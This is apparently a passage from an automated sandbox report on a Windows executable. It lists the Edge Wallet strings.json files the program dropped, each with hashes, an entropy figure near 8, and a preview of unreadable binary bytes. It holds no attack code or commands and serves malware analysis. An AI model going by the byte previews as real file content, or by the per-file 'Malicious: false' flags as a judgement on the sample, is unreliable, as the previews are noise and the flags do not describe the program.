Preview:	{. "....zt.Q.L.K.s.g.j....d\..Qf(.v2$......#?)....#.....q..s.G.H.......U.!N]a.S.m..Q1..{:........u.>O#OC..%8.Q..h5}.]...N#.@x.9z......A..X.).R...{....y.{....m0+a[....@.B\.=.......6d.k....a.D..td..%r..........."..Y....a#..F...tN^X.[.Q.%P...'.}.2........<gX....?.7y.fI..1;...u.S.......s..8....h..6..?=...\.1n..grzn}sCsI..9....\|..Y..Zk......w..-t.....I.a....].fw5R..Z.........P...I.b-..B.a3?......"..M/.z20......).})UN....).af(._....z...,..`."..N...m>..B...mz..@P.L.......F...?..\|2......en<....!.:-6..H.\';.]...).Y'.(..Dz.c..C. ...4/.......(.5.m.u.g?...i"..S.b.0.r.B..'s.-3.....&..X.y...^9....=k.\|.T~.' .'q.%...&...`.:...M..w]..!No......5. E.....\.xc...4`3k:14..N..B.....<.5.^h.......S.@(..X...kq..c.6.<...}..VO.VP.......=?{.....!..g.Ff..,P...\|4qd.4^..%...%G3M~....7..........\|D.....d....:..........-..30f.j>......S.c.k_4....%&...,.4....../.0r..a..A....)......U.x?.Qh......x.d....\|.q.]c.2.sG..;.\..rH.....4.9.E..o...k9.`..C.+.@j.A.^.mxN=...xh~<...(..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9849
Entropy (8bit):	7.982235157999079
Encrypted:	false
SSDEEP:	192:IB+osETyPsXiWILyo32P/z6GHDXK48tcC/8iBpFDpD0MGanSyvkXgi5uNaKQ6Iko:Ik6qyo32jvDD8tcCUm/HGQSyvyguhao
MD5:	936E62D2985D58E95A8155FB2E4915C8
SHA1:	8D3A2ED2D35242539FC8DCFA3738F858BA0B102A
SHA-256:	66B8F1D77F4F628745AFB426EF5DE5B35634A9545F40BE9CC975AC37623E0E6E
SHA-512:	3199CC84844EBBBE5CCA4C4BCBD91F617164253F4BB83576DE35C11F41D00C3CBA512906E90259B7A629EFAFB8D2C83FEB6098806F064E3D9BBC9880706CBFBA
Malicious:	false
Preview:	{. "..!^.F..(...[........t..qY.{ny..9..y............w`\|.jn......4.$...{....1h....w}.0#3..B...8...~0+\.z......y..j?f..%..k.....\...i6L.V.V...i.~[..S0.:,g......g...M..F...~..K...r.(j...c.IA...OL.,...GO4.S...5V+..w.......N...+v...S.....S.K/....J...b...F..V..`.>e0...h.K8...-..{....y.......8.h.RK..:...ujFT..E.\|_'....i.....x..X..............0..O.o(.........x.~t..W.@3(.~.s...e...b.e{=...E'."..S.mg...[..3.2..}.._.F.......T8.m....r..nlM=dQ... E@..[OK.t.<b.!....P...M..\...m...%.)...X.p.+..4..s,..tJ.<R.zLO......,.....y.X...02.Oo+kL.Ne.......r..:...#.F'X.."..<..xE;`j......t~..]..y..e...BT....+.HG?L.....[F.;..?&......w.+w.........FY.la...'.`....^..C..U.L(..P...].........xC....S....9.X..1x..\|..]&`.p..na...a......\2&..M.......0f...F.b...c.-=.....f.0...,.[H1..Y_..q..^.ynf...G....z...`L.`t..s."..B.;2-..1b.T..F....$........(.[O..`.../A.=..@.~O.....RY..2..U..F.....\....'.6..mJ..Q....Qt..M.I.)..C.})..J..Tnn..s..[.V.]l!+C/.....$=j..pVM...K.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9848
Entropy (8bit):	7.981991850353252
Encrypted:	false
SSDEEP:	192:FofDFXJYrF6LoWNz/3oD/NaXGbM6DhoxUn7HLcUFQtYH+zYc10Q:6fDyFCNzoD/dnnnvKu+zF10Q
MD5:	3D4718DCDDB86C2B35DF07304BBF0CE1
SHA1:	424A94C0A91CC1B25E69A1CB003B45A2EFE2E648
SHA-256:	E28B5E75C00DA5A9417301979976354A3895460B784F98E7DF30C2991C3D7C31
SHA-512:	50FA0B5427F616178D54BAD41F12259B27C246125799279E421808539ED1533E6D680E2BC241CD837B31759AF77AE25913CD05D9CBB2C668271562F3FAB8C4EF
Malicious:	false
Preview:	{. "..J.@..[C..,....FT.=..u.^.d...>`&~,.gV..%.qut.............h.i+4.iA..h.E..v.\|.y.._..rJMbV=.1......8......M.m[.........R.0oK...RP...b.....P........A ..&..'..!mN.....A...8..Jf.......2!..e+a.gx.X5y..r.7...sM<..w.[Gc)..z6.\%........%..&.L...0.b.Xd.....E...F4.z..^...a8.{.]..{L.AOvn...f....)9S.`...p.?...}..M..u.6P(t..)q.....,.Ez#.z.:..X_..lk.F(...pO....O.!36.O..K....C.......8.'.W..-....q....Y?:".f.T[.1u...1.U)...?G.O..Uowt...N.b..f/.._...b.2...N...../_Tk..............0.......HJh..../9.x..9...b.@+T....D...2....0..(`}.H..GXM..MO]........](...j]..=.....QEH..x:%..I.m..&..f;..9 ......).4z...xl.....l.+.....Y.rGh..v..)H.Vc%..n..W.n.)......7?.X.<U.....{HC@.:.l.j..j..2.;.....n.!.\|.t........:..p.51.>.rm.M..W.+.T...'...........l.Q_....7.....vi......'.D.P.'K..2a..bk..[^b.V.z.B.~.\|\|3/...A.......].uT.....t...@3...o...q.O4t/.B.....NF..E.2.0gMWE.G..C..\|....l.....w......y...HAm.%P...,5-.:...K.WlM...d.....P[......=..).5...i...1...L.F.\|9i..G=.....``.=.%L.l&..}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\id\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8741
Entropy (8bit):	7.979462526984735
Encrypted:	false
SSDEEP:	192:uYicY3eW7XYuw4veaQ/QZOzXsAxK9a2piDvgx:uYiaFurveF/8c8AxCa8H
MD5:	8AD0F25354A256E51FC0ACFF5433186A
SHA1:	9B54F55BFAB8B80E378A7FFA43614D810DECB7E5
SHA-256:	5783C40D19860933EC2611D0AB20A2EA766A651E913D5F70F02053C0E82A5139
SHA-512:	C1DC3884863D330A2267B61925AF6B193A3CC1D55823278045C34980FF0D9016DA45B248DCA3C338FE024294C235B8A7DB73AE79A478C58186D1C89616E2DD56
Malicious:	false
Preview:	{. "........M....si{l....,.......=x.b7;5d#_.T...d..[?...n..U...>.`............U..a......2. "..........@O.R-X.4.$$..)...i..^..N.8.q(.e.A)...G.R.s+4.0Gb#...y.w9<5....I$F.@...1....A.Z........\..3l\1.\1R,..a....H>.4R...6[u......jy.......=..........l..EoJ...4]..5{.h..O...i......>..l.jN......{..VF.#{.G..F`....!...=..u.[.........R...3...aN.q..b......v.B....'..Q...qH./...i98V@.?.`...sb....f.g....g$.....a.%...s....M#3.e7.@..@z..{....!.y.CDd!.v......A..v.(.t.........Z.,...$..q..6:......4.D.7.=MG. .._#..JiX.B.w......2...Q#../h..}.OE.s.P.#.B.h.......t...#...42Q`..^.6V L[...?...#0b.d-..l.7..u..[......D..T.e7$...%.".......1.-(.DR..((7.......n.).......h...}[k..1cE....l.=...p../O...1.].&'....h...j.....TMf...:.w....",....i................D...o..pq3fS.1.KW..\|IL....1._M^...C=.,....eF.P..].d...B....ocLg..r.t..H.^.mZ.].C.u....r..!@.1x..F..4.>q......W.......@.6)....-...mH.%'2+...E.\|.?r....@.Ug4...L....c...ofV..0W...L)...A/...DB..1n1....*.e....WBD

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\it\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9110
Entropy (8bit):	7.978897663495214
Encrypted:	false
SSDEEP:	192:w+gLTvvRQPUhr99txSIZniWF04b7iCg4RsucB:w+gPHRQap97S2rKs7iCg6sucB
MD5:	A04FA8FF067710291B2CD0CD3EC1A892
SHA1:	F2453E278862A568263512BA23EA4A735D3D978D
SHA-256:	6885F33F148694FBC798D231A3FA4D60F8AA97E07764829C304B6369AA6CCE3B
SHA-512:	98F605428A9BFE5E1FBA64FDD8091207527070212E666A5A5141918FD197BA7CCB0E6D036551ABDAE6A99A740BCE4995BE12F91552656DB84430CFFFE39D0AC8
Malicious:	false
Preview:	{. "s.I....-X.....6(.V..I.]D.....x...A.-.F...".....=d....g>..GlW.oY.&.E.Vx....I..<.Q.F>..1.4#g..........S...L.......W..Tp.&=.5.\...Lhj..3.)...J.......I.2...I.s...f..q]..m....4.y8Q5e...../..p....?.:......W..ze..".I.q..-.*..7...p..O.$.\|+..z....../.h}+.v.....xU..>...%j}...m..).B..i.?.....c..h..{6KM..@q...&..?.`hi..Y...2..N.qy.@.z...49......MV.[...uIw.V.... .[.\..AP.U........{..H.~...B...../.&.vp.GZ?{...V.1...M......$.".1>....7...u7........ ..w.....y....;.......(...Z...O..,..X.....A..T.4.....04...`..kH...0...r.P...?....ZX#".u].....h.4...{ea.p.....l....IZ...:.....#P..t..".d2...;. 8.e............B......Tn........o...'...&zRUb;..\|.+.....g.V."A%DV..v.....cx..}..wf....=L.4.tq.u...'.......e....j....Oj..FG.UkS+>k(,.C...E......-.t.gv.7.@.~..G.F#,L...k...G...WQ$..6&....._...^.z~.s...<.6...6..{-Px\..l.M..W.......a...S....y.&?.%.....qK...".r@_.&."c.0{.W_fM...{..E..^..........Y.F.........NX. ...Z..&....~R(s/....L.....H.S .iU..g.?.qO...5....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	10300
Entropy (8bit):	7.978449253644387
Encrypted:	false
SSDEEP:	192:uHeOotmhnV0ynflcrbTph6dlek0Jb8Cxv/lXJUAiSlD3HABGMXyH2jDx41eqCZ:qeOIyflc/TeYvZLiQDHAwMi2jteCZ
MD5:	F1D6748C65FCFAEE4A2FF84DE5E62BC7
SHA1:	932F59F2FDC14D62D4CCCF7BFD833406D787D15C
SHA-256:	7001CA75AFBB8F1FE1930F291FAC33B8A4E0DCD8D30A497E444EBAABA50A7857
SHA-512:	7E235BD0DAA627E5D1E995F90DFB324CC89E063966B94C4850326BE222F4D91C8E9FEF85F6503DA84D38328EEC7F793F1C01A754ACCCFFB6B0682EE81F4C449F
Malicious:	false
Preview:	{. "l.;.v.6..1h.o7...r.........bb..r..~.~..(s.TJ...tt.....v..4J ..).i..'..)..o.k.cvK.;...E....U..F@y. S.hn..m.n.z.u{.....R.....V.m.;e.^6..-.....;+4X`...G.....l...-..../.Z..{.3(.-....=...S..".$..H...M.-:gr.z..Y....T...5..o.9>?.E.1.s..T[Y7.;..&......H...Q..:WF8...eL.C.@..BN...+W..<@o1.]......\|.....wH..d.D.R.Q..:p..t2-y0x~.s.....?.X`..d....i.6..fo.6..^{,.5...Il<.\|....j.m}h..u..I.T,......_.V..`...p.1..Y..(u.X.3.42.V>I..d3.q.&.@.Q.....$. .j.5.{.2nt..R..D.#...0....~..]/....:...........pc...;}.^...+.`&.r0...M_..V&G.9......:..&~P.\l..!......`.....K./.......p&.6..Unm6.]t1./$.1.....q....C%P).H(.......?_....\|[.>..Wx...r....LJ............?jy.!....$-..7.8.+N0.=...O.......k.3h..jkT....a.#.T.>.....w...&h...S.2....y.={...........i......Fp.!.:c...7.g.v....../.0=.i...Hi..G..>.H.Q..\...x....).h..3`^..._..sP...f.H..Y........'J...FS=;. .h.d.........,4.E.....%......P...#l/..1.AD..M.s.w..%...w.....UaN..W.52h.$........%.TY..........>.B....9U.@}.2...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9053
Entropy (8bit):	7.978383288985696
Encrypted:	false
SSDEEP:	192:EcJ1vzLPUEd64HZL7kKqBaSwYhESEGLqqsCAouAe/AJsRr3BWjR1osh:Ec/rzx64JoBB1RUSuAeIG1Y11vh
MD5:	9247282EB1A3D91B4F293FC22039A6C8
SHA1:	892F1689F6DF948AECC7216E4B58E0C40377B6D0
SHA-256:	096F6EFC5E293F46D133FA4266C165B9DF1B59C6EADDF66F4C9EDCE5C9BB59ED
SHA-512:	749370717DBE11C3099E25F0783663C24E7CB3E2E62077745B13091F2F5072F771DD5682F9B34576FF5C77558D7FDB918C151B5391B5FF3837C2AE4136B4EE82
Malicious:	false
Preview:	{. ".v.\P.4.$..Ry@\.W.'.?..%...5yV..B.Iw..Zg..K....^..h.d6.t..E.?...T..M.M$...D.ye..\....J....-<.uD.<.q.L...MN.Tr...:..Ij.(....QC.h.\.[v>2D-.....+...w.l..~.).@..:~7t..V.Z>......imnv~...lr.f.}l.Y..L....b..q..>..j.A.km..Ejr7Q...'6. .g>."P...?.n#K....[....Kh.....g{.NHQ.$...e...........i..e...Vxgt.j2...:.D..4.v.'`~w`.....d...1M....j.....F3.eY\P!...DV.R.&mg.G.B.C.L.).......&.[@... .....zSbX....?-E._..C1.W...5Qg%..u....9u.1.r]RN./..kS4.4..X....k... ..kn-....m-1..q...D}x..k.[.{...6..g..].{..#"j-........#..{:.u..~.:...Z..\|.p..E....Frz..z.......~.1I..,..'.vW......c.@1.....!Q.......4h#t..Q....>..W&..Y.qVy....\|n..t...J...y\...{..........=u......Iq.f..@Mw..`...>\<...#..O.Kj.4.<...fe..1LBp.C'.F~4J9.9..S.$...p.X.!S.......y..X.....)}".WTT..]Y.QH#.KQ....u<]....U.'.......]L.......a7>.ER.H.qc..$g............H`.F.<...B..a~.......IzJ.J.e...ig.5...~..k.2..)L:.y...../..Un.P.o...&Fk.....;l......ly.k0..~.U.W.\|V.e.OW....h..\|..N..}..w...wg.....T.n.7.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9254
Entropy (8bit):	7.9774925554401435
Encrypted:	false
SSDEEP:	192:An88miCFnF8ztgoTihixkV23PH2X8hCAWcc00hbF/Sh7/ck5rNKl:ezCFF2dTy43PH2VAW/00hbF/47/cmNKl
MD5:	EBBB858A1302B29BF70945D1D6866E9B
SHA1:	AC6EAAC5B2229C964100D003B760958222CE19E6
SHA-256:	983DDFBFA027B3EDB262CE31BE94DAB2451A30AD8AEB1E97242C59A7FCC20C33
SHA-512:	48F13A72FB18017FA9382990BBD29170FDE7E991FE4BD00F366F137CF48A7D93C94D7E79257024DCDD8959F32E2ECBBB5C14FA7C6EFCE6CC0A333D1A17893163
Malicious:	false
Preview:	{. "w..kR.B..4K..).+IwPS.lg.E/l..`..w.u"M...K\..w...............y..`..Q.T..!.....}.7......f.....SL...m.oa...f....}..BZ...n...L1....[..aw..........L.....o.pA..\F.9......(m.2U..;..v...2gQW.6.mK...........'K5h..5.".-.@.D....Z.n..^$...%a.\.(...Y?VC.j-...N.OM..T(......R..d..E[.r...........l..i..I..i.i..E.\|.p.......0..CS.....V....Q+......w...t./.... .9J.....1Y1.5..=.i..AT.I=h.'R.(.]......h..<.>.pD{..=.......L.)...\|.......0.yM>...kw.c\.a.^...4.[V....++.^if.H.2..b.....E.._.....c....;."..b..+.QmqK.M..F@..].....S........w..,...r..scB[....\|.._....&.u..y.EZ...c\'.&.~..`....wu.{#.\t.5.v(]nF.[}$)..u..hsC....%N...g.^...W..f.@.h..MJ........j.t..HE....(.az..p............_.....uU.d.(f(+.:.4J.........~..i...=>.K.T....e..9...........R.q....@xEl.4..pJ...+??.S.i.q.Y..6p.M{........7.".J.p.2..p.l{*..L!.9../#.f....K.o...E...lc.C.C}...g..J..7M..e.-.@w..hN...kL.e..vK....v91..S.K..9i.y....)....J)..0...!.......9\|.NS.}..\.......=..5.sR......+...D5..8^..?7..rC..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	9397
Entropy (8bit):	7.979586365708509
Encrypted:	false
SSDEEP:	192:Pfc2WdrYqAItsb2WmWNBBAC0MQp7SN/BY0pYs07QIpX4W:TWGqnGb2WTmC0fpGN5Y5s07HpX7
MD5:	99489E20528511E4AF9D61225BB1EA43
SHA1:	4FC274758F358BF39B6A8EE5DB1C220CB607C10F
SHA-256:	9018193B72EFD290EBFF968028DDEE7DCBDB2CF2F09916199C8C664F0875F493
SHA-512:	AF6BFE19F86662DAFCF9FE26DAF5C7BDD9673840278861CE802B8AC1EE0F7A025E1500485B9C74558CF69217A92769DDE4D0D9854F4E0E47AB3E40B307C6B5B0
Malicious:	false
Preview:	{. ".F.Gv....Z...<.ii.S<DG.#.z...I..%.2.wR.nxd.i.R_.........A0{..HW..@4.h]\.2...<<.../.hb.h.>.a%.y(.......%.^.,]J.5N..#..\..tq.{..,#....+d..G.&....l>.0...!.?=.R.M...B...{...P.!K..t.=2..S...f...\..!...t..5.Z.8SX.Z..3....h.. )..T..RK?..1.N9!.0x..0p.f..2.gn...1.Z8......2.W{.Xe..nj..$..i..G...l.!..g.<.&.l+.$R..Mh..#%p@.....'..'K:.^\|.8...f:...=..0............4W.n.J+u..[....jt.O.dSP.!#AI.M..X_x.E.VS..\B....k. k....~.g.(q...Xi..,V.8.`.R.V..F]....)..........8.....lb..z..7C;..".q....mw...e.0.u...#.!.. 4~./..(N.G..J..[..)..+.......r{...&-U...{.t....,E1...>.v.........}..(......}...*....q........>.7.j..;...d.c..z....yun@f.vs...........n..-......S.."R...w. UJ.....;..O=.o.p8BYz..2Zg201.....~.9n...i[...;..2...y..w.j. ...Y..44....h5(!.>X.......G.s..C.d.....T....X.%.O .y.x.,].d........%$.1.x/..k.H.Y.R..M.)...Y.....l.......F.C...V.....IKe..&.......F.8.z/.........p.J..G..Zjn.NL?_.cFU.:.........7.Ru..?.K.yW.8.\|..F7..sT..S.\|I....c8J.C..[..c...o..D.9..F.d_.$.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	12649
Entropy (8bit):	7.984974801236913
Encrypted:	false
SSDEEP:	384:IE2oalip2Z2YHJWydC6feIFfOjzumtTG2Hx8j:55qxHJWyU8Oqm42Hx8j
MD5:	C9FB3F1167B4944AA537CBD8D04E2BA5
SHA1:	16712FE0FC9417EFD4A0BDC28EC484D6480FDFE9
SHA-256:	657779CD2022782A10DEBF4249ECB46BA8BA1761E103A6D26F9C319BC3696090
SHA-512:	80D54D6FFEF3DD75BDF2B6D42355E6B948A404DBE32F59DE72B57F37AEDC450F02419D1851B44A291B0E09FF07C2833DDEE9C6077B69C6491D9B41ACFB3F7808
Malicious:	false
Preview:	{. "P.qS.d...5wA...GG.B.....J^MK......[.Q s.1.&...9.......)...K.}.z~{..F.JFn.&..._...Q2...g-........F.DV..w.wQ...G'..1O.l.....r/..T..}..#.....p.f..-n....d..,L.R.H...[nU....j]6}q?m...Yg.....(..Ff.pfUy..z{n$..OG.l.X..CeN..N6.}o.kY..`3...H.."5...~..8...a..l..\..^0..m@..AVA.). '.J3_...p.j.w..K....8U..t'K..\|..;..w..C.+..%.D.S\|"1...._..ug..D"YODJ8-.....i'.m..1.5..I.R}.).....Vw.@.xS\\..........=:...........bJ...].RX...JX.B.b...G,...7.M}...D.....l0x.m.&.=.4.i{t..L..q...pG...>.".mC....$h...[.<.=uhWg..:.tvl.<.e.Q.....U.n.........$..L2..q.W.=i>-b..G.V....b..J..IK_et.m.1.........X..i..:.u.y;..ojg.c....P!cl.A...;_.\|............U...1en4..C...z.dj.e.......P....vU.f..\|c.@w^.s.......4UO...&.xwK..BI..3q49...j]..].L.]...<V.....G.......j4..W....j..Gf.R/../.h..x9.h....}.R..4.I...<.<E7^.Qf..7.X..G..&....H...;.f... ....y..\=0..>...Ck..C.'T.vO..+tZq..tJ...EJ=.%[.$3.:O..h..-.h.,.!...B.I....g.....U....:.2u.M..?....)ZBq..V.`O?Z.s{X.;U..*'.oA2.I..+.7\|/.O..B.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8466
Entropy (8bit):	7.9755304152207716
Encrypted:	false
SSDEEP:	96:4KgcA7KuwTKRlGUdtxJ5tapYfAoCEwAY5QAXU3/D6z25ELndGHcTxP49ol1jHjg5:4ITqlGUdVnhw15HEWz26LnfTvD1kYm
MD5:	156966087A7C601EC327C65AE75D00B7
SHA1:	06D64EF09DB606E703AAF7B7B6889777C5156C04
SHA-256:	C4B47F800ED29A687EC3F00177E365DAF3A3CE74958762EC5BDFD1CF79042921
SHA-512:	55F6F4327B39499869CB9EFAFBCD7747EF7A2E803364B033B72605F1659F689921BA2A52E39260B5DAB1656036D23161523492D1835C7EABD1647CD7808E3C05
Malicious:	false
Preview:	{. ".M.$.nRT^.JF.......B.)...,....?I.V!...wh.k.LP)....%..h.i..l..mM.s...fp%..l....=?@5.wQa....^.J.RjV..m.#."....W....].....N..y..R.F.w....D..r..W....?V#.6v....4.s.YU...4.2kd0.Jfo.JW.@....Eu.OFs.......2i.dY}.Z..sJpT.rh..KIa.6.....9.&....!sN....`.U...U._..W..P..?Xm5AR.K....p\k9....\..1+b...-A.L.,.+O....b...%K..V:?....e.'A...-.$LM.v.pB......d.;f..O...QmR..P.....x..e..\1Y.f...n.....-.7.8.[]..#...R=..W7..._.....[.c.a..j.F.Dl..P(6..&....c1.P....H.I.I..vMx.8.)7umT...N..\|kz..,P..=.di...WB.f..t.S..,#.0H...L.oV6.I$..C..G!..._.E.{.....u..l.6.zHX8.$M=}...>!..#.i.Y...@.}.\~..........5..l..wI...B..dm.{X.3....V.&.....X......HO..[..<...G...n...E..u..n(.Y..r.+.O(T..[.=..A..R2n....J.].+jpE^z..g.0m#Sx#..JpE...C7{.1..3@.\...5..7.l.'..Xs+L.......l..zL.j..".wP.=.lB*...Y9...I.2..kT).=.jMV.n.e,..\.M.ov?..'..mg.pxJ..0.....T..)g...y.....Ct.......@..2.$.y.}l...~..]..5}x.......`..b.FR....j....h.....\|.v..m..........(..$....(.m-.\e....af&.K...f[.-..HK.{..\.G.;.,....M.k3

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7926
Entropy (8bit):	7.9747695063352735
Encrypted:	false
SSDEEP:	192:/QN+lp2uUm8P59wnIafPxZqwufA1WDnevM1UMZfU:/Q++uULP5IJHxZqwdsKUO8U
MD5:	1EC011B652C4EC8A8B15C1777CD18BCA
SHA1:	84E50FECE12894B78802AEE4E76DBA7D1070333B
SHA-256:	5998D353F80FA8348687C34470F7440974FF7DE64E250151DF80F66997DAB99D
SHA-512:	72AE07533A78070B85F8AD5CEB1BBE972CFDEC20C8603D3BEA916D2330B5B0E0159531A187F63EC88742956952D31ACD4A28C0D69D22A9D06219368202189E44
Malicious:	false
Preview:	{. ".......a:.....I........U..\P.3.......y...x....1.%R....D.P...e....5..{.Q..q.l..h5.:~...#.q.sC...h'.....u.........R..%..tDR.+.L..8.#..).),...E.2.....S...a...Z?\...5.Bu.?_...p..Ty..U..^[.a..>HA;b.n..C.<'1.........0..~B...z~...r..X.'......`.!_{4.@.g.g.....,#x..oP.. P..tN.h%...O.....f5.\.c..s...st.i...O...S6...PE.\VoP.R_..l.0.m.`.;..G>0.....w....\w..7.n..OP...R.q..Yr..a..t.,.g&.......M.W.:...o..h-V.+..@t.we>..0+eN.\|.r.u....P...`.;..G.m._&x.Yx._.#3.W..D...cI..i.O:......#F.ma..x.Y'...``o...0..........Dd.Mv.0...GA...`./.}`..1.5.(....+/.<...u\.75E.1 z.X.4{Aj!.UL.T.d.3...}.F5.\|..../....$D#P..'..X...}%...H.......n[5C!...t~..l..$+..`..7..7<.g...)...j.[...,.JM..S...n.=b..Smc,lo..0....^....c....A.h#o>.I....r.Ul.....v..B&A...in..pE...,)..../......._P..>u.z..'.p.rn..\..8...._?0..#..m.iv..s...B..\..R.=.v.=.+.!.1 .v.Uz~.....q......+..;..V. .8,..#....Tzt.....U.D.)....O.!.X.V...q.M....b..XH....g....dC....Y .......k...%.....M..4.:(."'^.`6...8C4...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8036
Entropy (8bit):	7.977831381456604
Encrypted:	false
SSDEEP:	192:n/05RpqxVNQnyKerhzNmQp2HiLwWUq65+rohEZj8vKvvtC:n/aIlAyfrhYQp2CLwG651hKj7I
MD5:	C05873FB987AAE59BB66E38E1C1D9EC5
SHA1:	DBC96695769F52177178F504F3BAC76D8060C0CC
SHA-256:	7C83441388DCD71F0D32D1DF31AF2732CED0CD2401C98B0039BC8889D4499ECB
SHA-512:	8DB5C316AE4178208A9970D7594C236C210526DC2AE0854C83D70D765C7D17FE591660098B4DDD060BF0A6143449F80C154BBB2B33FD862F662A66F1449A5446
Malicious:	false
Preview:	{. "PhI!...y.A.>v~Yl..n.B.K..r\|...~.M..P.}.C.O..;c..........X..ZyHX.v....MR...R&t..(.ha.P..W..+.i...<.@.?.W........0.....}zr....M......v.,..."..#.@%..n...._HV...3..:,.4...g.......`.........q...c..>..L.P.Yp`tI.......r.g..dX..8d..@.N.D.%.V.g..'..2,.I...Y...9..S...2.6J.-.n.`H.1.E9.!.....8.# .b...z.m....oi..o..9...o...!:..n...~tJ.HE^..e..wu.]q.B..P.m.f.N...F..].yt.6...f..jR3S".q...4.5....,.<..b.Q..i.Q.>..I...!..RU..`.....\f.......7@6..%.).K.;..To..Q..i3.xX>?..+\G[..Z....d.#.}[..G....#.I* ....k......b......).;.<b.s...#....N...s...}.,..\|_..........5.yS....H..t.oL.@.2.ISpA.k._.E.....A.AK..g...I.'..KLk..K;R.b.........h....,-.7....{..l..+.t.....?z.f..GO..oT.2..t4.T@3.V.e.m........E`..I.}.K.Y....;m.....D...../t...Vr..\|..'N....@m....Q.(.......:..h.Q.('.1.`.x..&H....{...E/8........-a.tfG...J..~C.J'.....jB....>.\|K..I.A0....u.J....Y.X...U;..,..G.b.......(.....YP....6....eT.*.C8{.4.=!........T..."..%R.3..O..d..2...d2.3...I.r......b.u.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3159
Entropy (8bit):	7.9510020337999086
Encrypted:	false
SSDEEP:	96:Y+DzL9NuxKY/wiewpmExDKLDOSVzQYNX3kRb:YEdO/qpwDKGSVvxUN
MD5:	133547E733384C8A51B7FDD17570C313
SHA1:	90A501AC0983BBAAEB6A8A36B298FB177F26DEE2
SHA-256:	AD345526616AF556ECB031698D633871BEE62E1B218B18D2B939045437FCD550
SHA-512:	0E905D9E2985C3881DEF4E897980EC51CC08B253E0DBE34C1FF46007A190F0473783E81ED446CA5A879E6F69B9323660AFA718456E84318F934A65B4A44267CC
Malicious:	false
Preview:	{. "... .p...- ...j.L.E.......LQ...5.[}.{....,...k.m....R..l......\.M.F.Q....}......P...a%..-j.....Ze..+..&. .:<...d..Z@.?...T.U....+......GK.!.y$..~.C.......I.i.s..tC.A.....z..z.R.../x.r..q/......(h(.T..M......)Z..........s7+..u.[.aa.{....#_...D..;^..T.?]..f.Rh.1.....A.:._E..Za...D...z=f.6,9.^?`..fUOB.36.x.=.m.G..I..<.H.L.......OKr(A..D.XVt.r...$...Q...L.i.uh._.yd........O.JI...H.ly..Z..A.\.]..`/....nDQ.a.8}.K.{.q.P.XP...6....(.0..2j.(.,..N.E.5.$M.5t.C+C..)......D..6a0.....T:.H.{.4>..`......p...,... ...f.@/.R..<........`....n....nB..2....S.#".?J.\c+R..........X...3......V........k.G"...\|n....B..7.i..x..]T....CAM..{..........$.!...";..o.........O...d9Y_'t.AD.^!......#....5O`H3F.".......H....J.........7.&^X.......$nLi4.e'.O.......\|.>....";.qJ7a.&!.\|..N.{.)..Z.a.........7.Y.....`Y,m..).~.......+..i.....o(.'T:.,.N......0..R=...%...N..!.....\.-..9^\|l.........P..J...oz.?......w..._.dv...._+c..o4.......N@.Z\S....jl.....@.5Y..vl.t.U}~.l.=m.c..z/?...#

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\de\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2630
Entropy (8bit):	7.93681557126335
Encrypted:	false
SSDEEP:	48:7/SNJbx0Zp+NZOmhUNcWa+AaLEyFE4YEEKik/DJNc1iWnOZllTQe55aDJD:O5JoNcWaFaLhm4uKiEDbonO7lTQe/aV
MD5:	EEC268E91C9ED5B82A57CE3D06091A80
